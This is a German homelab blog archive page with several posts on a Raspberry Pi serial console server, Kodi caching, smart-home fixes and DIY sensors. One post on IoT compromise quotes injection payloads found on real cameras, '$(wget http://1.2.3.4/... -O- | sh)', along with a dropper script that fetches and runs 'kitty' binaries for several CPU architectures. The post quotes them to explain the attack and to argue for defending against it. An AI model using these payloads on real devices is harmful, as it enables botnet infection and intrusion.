Schlagwort: HomeLab (Seite 1 von 2)

Raspberry Pi als serieller Konsolenserver

8. März 2026 / Sebastian van de Meer / 5 Kommentare

Wir haben 2026. Alles wandert in die Cloud. Trotzdem will ich heute über serielle Konsolen schreiben. Klingt retro, ist es aber nicht. Wenn ein Switch sich verkonfiguriert hat und das Netzwerk weg ist, hilft kein Ansible und kein Dashboard in der Cloud. Dann hilft nur noch der serielle Konsolenport. Out-of-Band Management ist nicht tot. Es wurde nur teuer verpackt.

Kommerzielle Konsolenserver kosten gerne vierstellig. Oder man nimmt einen Raspberry Pi der noch herum liegt und auf eine neue Aufgabe wartet (ich habe hier ein paar Pi1 oder 2 herum liegen). Zusammen mit zwei USB Serial Adaptern hat man für unter 50 Euro einen Konsolenserver mit acht Ports. Das reicht für die meisten Setups locker aus.

Raspberry Pi als DIY-Konsolenserver mit USB-Serial-Adaptern zur Verwaltung serieller Konsolen von Netzwerkgeräten über SSH und ser2net

Wofür ein Konsolenserver

Der klassische Fall: Ein paar Switches im Rack, jedes Gerät hat einen seriellen Konsolenport. Im Normalbetrieb konfiguriert man über das Netzwerk. Aber wenn mal eine falsche Route das Management Interface unerreichbar macht oder ein VLAN Umbau schiefgeht, steht man vor dem Gerät und steckt ein Kabel rein. Wenn das im DC in Frankfurt ist, oder vielleicht irgendwo in China, dann kann das spannend werden.

Oder man hat vorgebaut.

Ein Konsolenserver hängt permanent an den seriellen Ports der Netzwerkgeräte. Man kommt per SSH auf den Konsolenserver und von dort auf die serielle Konsole des Zielgeräts. Ob das Netzwerk funktioniert oder nicht, spielt keine Rolle mehr. Öhm also ja, so grob. Der Pi sollte dann ja schon noch erreichbar sein. Aber man hat ja in einem entfernten DC auch eine Dailin Line oder ähnliches, richtig? Richtig?

Meme mit Anakin und Padmé: „Der Konsolenserver hängt an allen Switches – wir kommen immer auf die Konsole – der Raspi ist erreichbar über … die gleiche Strecke.“

Hardware

Ein Raspberry Pi. Es muss kein aktuelles Modell sein. Selbst ein alter Pi 2 reicht völlig aus. Das Ding muss ser2net laufen lassen und ein paar serielle Ports bedienen, dafür braucht man keinen Quad Core mit 8 GB RAM. Der Pi aus der Schublade bekommt endlich eine sinnvolle Aufgabe.

FTDI Quad Port USB Serial Adapter (Vendor 0403, Product 6011). Pro Adapter bekommt man vier serielle Ports. Mit zwei Adaptern hat man acht Ports. Die Dinger gibt es für kleines Geld.

RS232 Kabel zu den Console Ports der Netzwerkgeräte. Welcher Stecker passt, hängt vom Hersteller ab. RJ45 auf DB9, DB9 auf DB9, die üblichen Verdächtigen. Da muss man schauen was die eigenen Geräte mitbringen.

Stabile Gerätenamen mit udev

Das erste Problem nach dem Einstecken der USB Adapter: Linux vergibt die /dev/ttyUSBx Nummern nach Lust und Laune. Nach einem Reboot kann ttyUSB0 plötzlich ttyUSB4 sein. Wenn man wissen will welcher Port an welchem Gerät hängt, ist das unpraktisch.

Die Lösung sind udev Regeln. Jeder FTDI Adapter hat eine eigene Seriennummer. Die findet man so:

udevadm info -a -n /dev/ttyUSB0 | grep serial

Damit baut man sich Regeln die stabile Symlinks erzeugen. Datei /etc/udev/rules.d/99-serial-consoles.rules:

SUBSYSTEMS=="usb", ENV{.LOCAL_ifNum}="$attr{bInterfaceNumber}"
SUBSYSTEM=="tty", ATTRS{idVendor}=="0403", ATTRS{idProduct}=="6011", ATTRS{serial}=="FT000001", SYMLINK+="quad0-%E{.LOCAL_ifNum}"
SUBSYSTEM=="tty", ATTRS{idVendor}=="0403", ATTRS{idProduct}=="6011", ATTRS{serial}=="FT000002", SYMLINK+="quad1-%E{.LOCAL_ifNum}"

FT000001 und FT000002 ersetzt man durch die echten Seriennummern der eigenen Adapter. Das Ergebnis sind stabile Symlinks: /dev/quad0-00 bis /dev/quad0-03 für den ersten Adapter, /dev/quad1-00 bis /dev/quad1-03 für den zweiten. Acht Ports, immer gleich benannt. Egal wie oft man den Pi neustartet.

ser2net

ser2net bildet die seriellen Ports auf TCP Ports ab. Man kann dann per Telnet auf einen bestimmten Port zugreifen und landet direkt auf der seriellen Konsole des zugehörigen Geräts. Installieren mit apt install ser2net, dann die Konfiguration in /etc/ser2net.conf:

localhost,2001:telnet:600:/dev/quad0-00:9600 8DATABITS NONE 1STOPBIT banner
localhost,2002:telnet:600:/dev/quad0-01:9600 8DATABITS NONE 1STOPBIT banner
localhost,2003:telnet:600:/dev/quad0-02:9600 8DATABITS NONE 1STOPBIT banner
localhost,2004:telnet:600:/dev/quad0-03:9600 8DATABITS NONE 1STOPBIT banner
localhost,2005:telnet:600:/dev/quad1-00:9600 8DATABITS NONE 1STOPBIT banner
localhost,2006:telnet:600:/dev/quad1-01:9600 8DATABITS NONE 1STOPBIT banner
localhost,2007:telnet:600:/dev/quad1-02:9600 8DATABITS NONE 1STOPBIT banner
localhost,2008:telnet:600:/dev/quad1-03:9600 8DATABITS NONE 1STOPBIT banner

9600 8N1 ist der Standard bei den meisten Netzwerkgeräten. Falls ein Gerät eine andere Baudrate braucht, passt man die entsprechende Zeile an. Der Timeout von 600 Sekunden trennt die Verbindung nach zehn Minuten Inaktivität. Das verhindert dass ein vergessenes Telnet die Konsole dauerhaft blockiert.

Direkter Zugriff mit minicom

Wer ser2net nicht nutzen will oder schnell direkt auf einen Port muss, nimmt minicom:

minicom -D /dev/quad0-00 -b 9600

minicom ist gut für schnelle Tests und Debugging. Für den Dauerbetrieb mit mehreren Ports gleichzeitig ist ser2net die bessere Wahl.

Warum localhost

ser2net ist im gezeigten Setup bewusst auf localhost gebunden. Man muss sich erst per SSH auf den Pi einloggen und dann telnet 127.0.0.1 200x aufrufen. Das ist Absicht.

Man könnte ser2net auch auf 0.0.0.0 binden und die Ports direkt aus dem Netz erreichen. Davon rate ich ab. Telnet ist unverschlüsselt. Auch in einem Management VLAN hat das nichts verloren.

Bessere Alternativen wenn man ohne SSH auf den Pi will:

ser2net ab Version 4.x unterstützt SSL/TLS. Damit hat man verschlüsselte Verbindungen direkt zu den Console Ports.
stunnel vor ser2net schalten. stunnel terminiert TLS und reicht die Verbindung an den lokalen ser2net weiter.
Wer nativen SSH Zugriff direkt auf die seriellen Ports braucht, sollte sich conserver anschauen. ser2net kann kein SSH.

Für die meisten Setups ist SSH auf den Pi und dann Telnet auf localhost der einfachste und sicherste Weg.

Absichern

Ein paar Dinge die man auf dem Pi noch machen sollte:

Den Default Benutzer pi löschen. Einen eigenen Benutzer anlegen. SSH Key Authentifizierung einrichten und Login per Passwort deaktivieren. Das ist nicht optional.

NTP konfigurieren. Timestamps in Logs sind nutzlos wenn die Uhrzeit nicht stimmt.

Syslog an einen zentralen Logserver weiterleiten. Wenn man serielle Konsolen mitschneidet, will man die Logs nicht nur lokal auf dem Pi haben.

Workflow

Der Alltag sieht dann so aus:

SSH auf den Pi: ssh admin@10.0.0.50
Telnet auf den gewünschten Port: telnet 127.0.0.1 2003
Man landet auf der seriellen Konsole von Switch 3

Alternativ direkt mit minicom: minicom -D /dev/quad0-02 -b 9600

Zum Trennen: Ctrl-] und dann quit bei Telnet. Ctrl-A gefolgt von X bei minicom.

Fazit

Ein alter Raspberry Pi, zwei USB Adapter, ein paar Kabel. Mehr braucht man nicht für einen funktionierenden Konsolenserver mit acht Ports. Die Einrichtung dauert vielleicht eine Stunde. Danach läuft das Ding und man muss nie wieder ein Konsolenkabel quer durch den Serverraum schleppen.

Und der alte Pi aus der Schublade hat endlich wieder eine Aufgabe.

Ihr habt Fragen, Anmerkungen oder baut das Setup selbst nach? Meldet euch gerne über die Kontaktseite oder direkt per E-Mail.

Siehe auch: DHT22 am Raspberry Pi

IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken

17. November 2025 / Sebastian van de Meer / Keine Kommentare

Vielleicht erinnert ihr euch an meine Aussage, dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür. In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.

Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine Überwachungskamera, ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.

IoT in der Praxis: Schnell, günstig – und sicherheitsblind

Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.

Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.

„Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“

Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?

Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das Gerät selbst.

IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:

als Teil eines Botnetzes
zum Verteilen von Malware
für DDoS-Angriffe
zum Minen von Kryptowährungen
oder als Einstiegspunkt ins dahinterliegende Netzwerk

Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.

Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.

Warum diese Geräte so leicht kompromittierbar sind

Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.

Screenshot of an compromised asus cctv ip camera iot

Ein Klassiker: nicht korrekt geprüfte Eingabefelder.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.

Beispiel aus einer realen IoT-Kamera-Firmware:

ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'

oder

$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)

Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende kitty Paket sein:

Benutzername: meow
Kennwort: meow

Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.

Der eigentliche Befehl ist dann:

wget http://1.2.3.4/vivo -O- | sh

wget lädt eine Datei herunter
-O- sorgt dafür, dass der Inhalt direkt ausgegeben wird
das Pipe-Symbol | übergibt den Inhalt an die Shell sh
die Shell führt alles aus, was darin steht

Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.

Ein Beispiel für ein solches Script könnte folgendes sein:

cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64

Und ja: Das existiert genauso in freier Wildbahn.

Wenn ihr so etwas in eurer Konfiguration findet: Uff.

Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:

Wurde vielleicht eine manipulierte Firmware eingespielt?
Wurde der Bootloader verändert?
Wird nach jedem Neustart automatisch eine Backdoor geöffnet?
Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?

Oft lautet die bittere Antwort: Nein.
Und dann bleibt realistisch nur: Gerät entsorgen.

Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:

WLAN-Passwörter
NAS-Zugangsdaten
SMTP-Accounts
API-Tokens
Nutzer- und Admin-Zugänge anderer Systeme

Damit kann ein Angreifer richtig Schaden anrichten.

Was also tun?

IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:

IoT immer in ein eigenes, getrenntes Netz.
Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.
Regelmäßig patchen, prüfen, auditieren.
Standardpasswörter sofort ändern.
Alle nicht benötigten Dienste deaktivieren.

Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.

Magenta SmartHome Lüften: Lösung für Android-Probleme gefunden

23. Januar 2025 / Sebastian van de Meer / Keine Kommentare

Seit inzwischen knapp 10 Jahren nutze ich das Magenta SmartHome-System. Eine der wirklich praktischen Funktionen ist „Lüften“.

Sobald ein Tür- oder Fensterkontakt signalisiert, dass er geöffnet ist, wird ein Signal an die Heizungsventile gesendet, damit diese schließen. Gerade mit Kindern im Haushalt ist das eine tolle Funktion, denn so heize ich nicht versehentlich durch ein offenes Fenster oder gleich die ganze Terrasse.

Diese Funktion findest du in der SmartHome-App unter: Mehr → Heizung → Overflow-Menü → Einstellungen → Sensoren konfigurieren. Dort kannst du für jeden Raum die Kontakte auswählen, die für die Funktion genutzt werden sollen.

Screenshot der Telekom Magenta SmartHome App auf einem Andriod. Gezeigt wird das Menü Sensoren konfigurieren, für die Funktion Lüften der Heizungssteuerung.

Vor knapp zwei Jahren ist mir in der Winterzeit aufgefallen, dass ein ausgetauschter Sensor zwar einwandfrei funktionierte, aber von der „Lüften“-Funktion komplett ignoriert wurde. Also habe ich im Menü nachgeschaut: Der Sensor wurde als nicht ausgewählt angezeigt (grauer Haken oben rechts auf der Kachel). Ich wählte ihn aus, bestätigte mit dem Haken, wechselte erneut ins Menü „Sensoren konfigurieren“ – und der Sensor war wieder nicht ausgewählt. Ein endloser Kreislauf.

Zuerst dachte ich, das Problem liegt vielleicht an meinem Smartphone. Doch auch auf dem Gerät meiner Frau zeigte sich derselbe Fehler. Also: App deinstallieren, neu installieren. Leider ohne Erfolg.

Daraufhin kontaktierte ich den Magenta SmartHome-Support und schilderte mein Problem. Die Antwort kam nach ein paar Tagen: Ein alter Sensor blockiere wohl die Funktion. Als Lösung schlug man vor, die komplette SmartHome-App von der Zentrale zu löschen und alles neu einzurichten. Das hätte bedeutet, dass meine gesamte Konfiguration, alle Regeln und Szenen verloren gehen – und ich jedes Gerät neu anlernen müsste.

Da ich zahlreiche Geräte im Einsatz habe, war das für mich keine Option. Also entschied ich mich, abzuwarten. Schließlich war ich nicht der Einzige mit diesem Problem, und früher oder später würde es sicher eine Lösung geben.

Nun ist wieder Winter, und das Problem besteht weiterhin. Also wandte ich mich erneut an den Support, in der Hoffnung auf eine bessere Lösung. Diesmal bekam ich folgende Antwort:

Das Problem ist hier, dass noch ein alter bereits abgelernter Tür-Fensterkontakt in der Lüften Einstellung fest hängt.
Erkennen kann man dies in der Android App bei der Auswahl der Tür-Fensterkontakte. Hier wird oben in der Titelzeile die Anzahl der ausgewählten Geräte angezeigt. 
Ist die Zahl hier höher, als die sichtbar ausgewählten Tür-Fensterkontakte, so ist der Kunde von diesem Problem betroffen.
Unter iOS wird die Anzahl der ausgewählten Tür-Fensterkontakte nicht angezeigt.

Update 08.01.2025: Es wird noch ein weiteres Magenta SmartHome App Release mit Fehlerbehebungen geben. Es ist geplant, dass der Fehler dort behoben wird.
 
Workaround 1: Da der Fehler nur in der Android App auftritt, kann man das Problem mit der iOS App lösen. Mit der iOS App reicht es einen Tür-Fensterkontakt abzuwählen und zu speichern.
Danach lassen sich die aktuell angelernten Tür-Fensterkontakte wieder wie gewohnt auswählen/abwählen und auch speichern. Auch in der Android App.
Sofern der Kunde also ein iOS Gerät hat, ist dieser Workaround dem Workaround 2 zu bevorzugen.

Workaround 2: Das Plugin vom 3rd Level löschen lassen. Hier muss der Kunde dann jedoch alle Einstellungen, die er in der App vorgenommen hat, wieder neu Einrichten.
Regeln, Szenen, Heizkurve,  Übersichten ... alles. Insofern fragt bitte den Kunden bevor ihr ein 3rd Level Ticket erstellt, ob er mit dieser Löschung einverstanden ist.

Workaround 2 war für mich weiterhin keine Option. Aber Workaround 1 klang vielversprechend – ein iOS-Gerät hatte ich noch im Regal. Also installierte ich die App, ging ins Menü „Sensoren konfigurieren“, wählte die gewünschten Sensoren aus – und siehe da: Es funktionierte! Seitdem läuft die Funktion auch wieder einwandfrei unter Android.

Man stelle sich vor, ich hätte tatsächlich den aufwendigeren Workaround 2 gewählt, nur um später herauszufinden, dass ein einmaliger Abstecher in die iOS-App genügt hätte.

Vielleicht rettet diese Info ja jemanden vor unnötigem Aufwand. Laut Support soll das Problem mit einem zukünftigen Update behoben werden.

Siehe auch: Telekom SmartHome Erfahrungen, QIVICON Home Base 2.0: Migration vom Telekom SmartHome und was dabei schiefgeht, Telekom SmartHome: Firmware-Updates für HomeMatic-Geräte über die CCU2

Fragen? Einfach melden.

Kodi auf dem Raspberry Pi 4: Ruckelfreie Wiedergabe einrichten

18. Januar 2022 / Sebastian van de Meer / Ein Kommentar

Der Raspberry Pi 4 , egal ob mit 4GB oder 8GB RAM, ist in der Kombination mit Kodi eine wunderbare Erweiterung am Fernseher. Leider sorgte die letzte Version Kodi v19.3 (Matrix) bei mir für ein paar Problemchen. So stockte oder ruckelte die Wiedergabe von Videos oder die Wiedergabe lief für einige Minuten gut, dann wurde gebuffert, nur damit sich dieses Spielchen alle paar Minuten wiederholte. Egal ob im WLAN oder direkt am LAN.

Folgende Änderungen haben bei mir für eine Lösung der Probleme gesorgt:

Erstellen einer XML Datei, welche die default Einstellungen des Cachings überschreibt.

Speicherort und Dateiname ist: /storage/.kodi/userdata/advancedsettings.xml

<?xml version="1.0" encoding="utf-8"?>
<advancedsettings>
        <cache>
                <memorysize>524288000</memorysize>
                <buffermode>1</buffermode>
                <readfactor>6</readfactor>
        </cache>
</advancedsettings>

Achtung… Bei XML Dateien, spielt das richtige „Einrücken“ schon mal eine Rolle.

2. Erweitern des Arbeitsspeichers für die GPU, sowie das Erzwingen des „Turbo“ Modus.
Dafür einfach die Datei /flash/config.txt um folgende Zeilen erweitern/einpassen:

# Default GPU memory split, 76MB are needed for H264 decoder
gpu_mem=256
force_turbo=1

Wer dieses gerne per SSH machen möchte, muss das Volume /flash einmal schreibfähig mounten:

mount -o remount,rw /flash

Die Option gpu_mem setzt recht einfach den, für die Grafikkarte, reservierten Arbeitsspeicher fest auf 256MB. Dieses macht selbst bei der 4GB Raspberry PI 4 Version kein Problem.

force_turbo deaktiviert das dynamische, lastabhängige takten der CPU, GPU und des Arbeitsspeichers, sowie der Spannungen. Alles läuft daher auf Maximum, aber ohne zu übertakten. Dieses hat weniger Auswirkungen auf die Probleme bei der Wiedergabe, sorgt aber für ein allgemein „flüssigeres“ Verhalten. Dafür steigt die Stromaufnahme und die Temperatur. Da wir hier über einen Raspberry sprechen, ist es wohl für die Meisten zu vernachlässigen.

3. Um Temperatur und Geräuschpegel im Zaum zu halten, empfiehlt sich ein gutes passiv gekühltes Gehäuse. Folgendes kann ich empfehlen: https://amzn.to/3qF61pe

Das mitgelieferte Netzteil hat ausreichend Power, man kommt noch an „alles“ ran, das Gehäuse ist sehr massiv und selbst bei großer Last/langem Betrieb, wird alles nur handwarm.

Update Februar 2026 — Kodi 21 (Omega) / LibreELEC 12.x

Seit Kodi 21 (Omega), das mit LibreELEC 12.x ausgeliefert wird, funktioniert die oben beschriebene Cache-Konfiguration über die advancedsettings.xml nicht mehr korrekt. Die <cache> Sektion wird zwar noch eingelesen und im Log angezeigt — die tatsächlich aktiven Werte kommen aber aus den GUI-Settings (guisettings.xml). Im Kodi-Log erkennt man das an dieser Zeile:

New Cache GUI Settings (replacement of cache in advancedsettings.xml) are:
    Buffer Mode: 4
    Memory Size: 20 MB
    Read Factor: 4.00 x

Das bedeutet: Trotz konfigurierter 500 MB in der advancedsettings.xml läuft Kodi mit nur 20 MB Puffer — dem Default. Nicht gerade ideal.

Die neue Methode

Die Cache-Werte müssen jetzt direkt in /storage/.kodi/userdata/guisettings.xml gesetzt werden. Dafür Kodi stoppen, Datei bearbeiten, Kodi starten:

systemctl stop kodi
sleep 3

In der guisettings.xml diese drei Zeilen suchen und anpassen. Wichtig: Das default="true" muss entfernt werden, damit Kodi die Werte als benutzerdefiniert erkennt.

Vorher:

<setting id="filecache.buffermode" default="true">4</setting>
<setting id="filecache.memorysize" default="true">20</setting>
<setting id="filecache.readfactor" default="true">400</setting>

Nachher (Beispiel für 8 GB RAM):

<setting id="filecache.buffermode">1</setting>
<setting id="filecache.memorysize">500</setting>
<setting id="filecache.readfactor">600</setting>

Dann Kodi wieder starten:

systemctl start kodi

Was die Werte bedeuten

buffermode = 1

Legt fest, welche Quellen gepuffert werden:

Wert	Bedeutung
0	Nur Internet-Streams (HTTP, FTP…)
1	Alles (Internet + LAN + lokal) ← empfohlen
2	Nur „echte“ Internet-Streams
3	Kein Puffer
4	Alle Netzwerk-Quellen (Default in Kodi 21)

Wir setzen 1 statt 4, damit NFS-Quellen garantiert gepuffert werden — egal wie Kodi die Quelle intern klassifiziert.

memorysize = 500 (bzw. 250)

Die Größe des Puffers in MB. Das ist der Speicher, den Kodi im RAM reserviert, um Film-Daten vorauszulesen.

Praktisches Beispiel: Ein typischer 4K-Film hat ~80 Mbit/s Bitrate (ca. 10 MB/s).

20 MB (Default): Nur ~2 Sekunden Film im Puffer. Wenn das Netzwerk kurz schwankt, stockt die Wiedergabe sofort.
500 MB: Ca. 50 Sekunden Film im Puffer. Selbst wenn NFS mehrere Sekunden hängt, läuft die Wiedergabe weiter.

Empfohlene Werte nach verfügbarem RAM:

8 GB RAM: memorysize = 500
4 GB RAM: memorysize = 250

readfactor = 600 (= 6×)

Der Wert wird intern durch 100 geteilt, also 600 = 6,0×. Kodi liest Daten mit der 6-fachen Geschwindigkeit der benötigten Bitrate voraus. Bei einem 80 Mbit/s Film liest Kodi also mit ~480 Mbit/s vom NFS, bis der Puffer voll ist. Danach drosselt es auf die tatsächlich benötigte Rate. Das sorgt dafür, dass der Puffer sich schnell füllt und möglichst voll bleibt.

Verifizierung

Nach dem Neustart im Kodi-Log prüfen, ob die neuen Werte aktiv sind:

grep "New Cache GUI Settings" -A4 /storage/.kodi/temp/kodi.log

Hinweis zum Raspberry Pi 5

Die config.txt Anpassungen (gpu_mem=256 und force_turbo=1) gelten weiterhin für den Raspberry Pi 4. Beim Raspberry Pi 5 sind diese nicht nötig — er nutzt eine andere GPU-Architektur (VideoCore VII) und gpu_mem hat dort keine Wirkung.

DIY Feinstaubsensor bauen: Luftqualität selbst messen mit ESP8266

26. Juni 2020 / Sebastian van de Meer / Keine Kommentare

Bild vom DIY Feinstaubsen und Luftqualitätsensor beim Aufbau.

Es gibt ein ganz spannendes Projekt, welches sich mit dem Messen und Sammeln von Umweltdaten beschäftigt. So gibt es vom Projekt einige Bauanleitungen inkl. Software zum Messen der Luftqualität, Temperatur, Luftfeuchtigkeit, Lärm usw… Die Webseite findet ihr hier: https://luftdaten.info/

Im einfachsten Fall basiert so ein Sensor am Ende auf folgenden Komponenten:
NodeMCU ESP8266, CPU/WLAN
SDS011 Feinstaubsensor (früher PPD42NS)
DHT22, Temperatur & Luftfeuchtigkeit (optional)

Die Daten werden offen gesammelt und können auf verschiedene Weise eingesehen werden. So gibt es zum Beispiel:
– eine Karte: https://maps.sensor.community
– Grafana: Temperatur / Feinstaub

Die Bauanleitung ist extrem einfach, die Teile bekommt jeder und kosten kaum Geld. Selbst der Softwareteil ist ohne jeden Aufwand. Man muss nicht mal löten! Fast jeder sollte in der Lage sein so einen Sensor zu bauen und ihn mit seinem WLAN zu verbinden. Vielleicht ein schönes Projekt mit seinen Kindern oder um sich im Unterricht mit so etwas zu beschäftigen?!?

Fragen? Dann fragen!

Siehe auch: DHT22 am Raspberry Pi

Fragen? Einfach melden.

Telekom SmartHome: Firmware-Updates für HomeMatic-Geräte über die CCU2

12. Januar 2018 / Sebastian van de Meer / Keine Kommentare

Siehe auch: Telekom SmartHome im Test: Erfahrungen mit QIVICON und Home Base

Die QIVICON Home Base vom Telekom SmartHome kann keine Firmware-Updates auf die HomeMatic-Geräte von eQ-3 aufspielen. Bei den älteren HomeMatic-Geräten war das kein Problem, Updates waren selten und betrafen keine kritischen Funktionen. Bei den neueren HomeMatic IP Geräten sieht das anders aus. Die Firmware ändert sich regelmäßig, neue Funktionen kommen dazu und Bugs werden behoben. Ein Zwischenstecker fungiert zum Beispiel erst ab einem bestimmten Firmwarestand als Repeater im Mesh-Netzwerk.

Der Update-Weg über die CCU2

Zum Updaten gibt es zwei Möglichkeiten: Einen Funk-Konfigurationsstick für USB oder die CCU2 Zentrale von eQ-3. Ich habe mir die CCU2 besorgt. Der Ablauf pro Gerät sieht so aus:

1. Gerät vom Telekom SmartHome ablernen
2. Gerät an der CCU2 anlernen
3. Firmware-Update durchführen
4. Gerät von der CCU2 ablernen
5. Gerät am Telekom SmartHome wieder anlernen

Das ist aufwendig. Für jedes einzelne Gerät. Und bei den HomeMatic IP Geräten dauert ein Firmware-Update zwischen 8 und 42 Stunden. Die Firmware ist dabei knapp über 100 KB groß. Bei den älteren HomeMatic-Geräten ist das gleiche Update in fünf Minuten erledigt. Warum der Funkweg bei den IP-Geräten so langsam ist, erschließt sich mir nicht.

Warum nicht gleich die CCU2?

Das Telekom SmartHome hat einen Vorteil der schwer wiegt: Man kann Geräte verschiedener Hersteller miteinander kombinieren. HomeMatic, Philips Hue, Schellenberg Rolladen, DECT-Steckdosen. Das können die reinen eQ-3 Lösungen wie CCU2 mit Orbylon oder pocket control nicht in dem Umfang. Dafür nimmt man den umständlichen Firmware-Update-Prozess in Kauf.

Fragen? Einfach melden.

QIVICON Home Base 2.0: Migration vom Telekom SmartHome und was dabei schiefgeht

10. März 2017 / Sebastian van de Meer / Keine Kommentare

Siehe auch: Telekom SmartHome im Test: Erfahrungen mit QIVICON und Home Base, Telekom SmartHome: Firmware-Updates für HomeMatic-Geräte über die CCU2, Magenta SmartHome Lüften: Lösung für Android-Probleme gefunden

Ich nutze privat das SmartHome-System der Telekom mit der QIVICON Home Base. Die alte Version 1.0 war funktional in Ordnung, aber langsam. Kein WLAN, kein ZigBee ohne USB-Stick, und je mehr Geräte dranhingen desto zäher wurde die Oberfläche. Die neuen HomeMatic IP Geräte von eQ-3 haben den Rest gegeben. Die Home Base 1.0 war damit überfordert.

Die Home Base 2.0

Das Endergebnis vorweg: Die 2.0 ist besser. Kamerastreams laufen flüssig, keine Verbindungsabbrüche mehr zu den Sensoren, die App reagiert spürbar schneller. Soweit die gute Nachricht.

Der Migrationsprozess

Die offizielle Wechselanleitung der Telekom sieht so aus:

1. Alle Geräte auf der Home Base 1.0 löschen
2. Reset der Home Base 1.0
3. Alte abklemmen, neue anklemmen
4. Neue Home Base registrieren und aktivieren
5. Alle Geräte neu einrichten

Punkt 1 und 5 sind das Problem. Jedes Gerät einzeln löschen, über eine App die alle paar Klicks die Verbindung verliert und einen gefühlten Delay von ein bis zwei Sekunden auf jede Aktion hat. Manche Geräte wollen vor dem Löschen eine physische Bestätigung am Gerät selbst. Also knapp eine Stunde durch die Wohnung rennen und Knöpfe drücken. Bei Unterputz-Schaltern besonders viel Freude.

Was bei mir schiefging

Nach dem Löschen aller Geräte und dem Reset der alten Home Base wollte die App keine Verbindung mehr herstellen. Logisch, die alte Base war ja zurückgesetzt. Im QIVICON-Webportal gab es einen Button „Exchange Gateway“ der in der Anleitung nicht vorkam. Seriennummer der neuen Base eingeben, fertig. Die Aktivierung, die laut Anleitung nötig sein soll, war es nicht. In der Anleitung steht man solle die Fehlermeldung bei der Aktivierung ignorieren. Fehlermeldung ignorieren als offizieller Schritt.

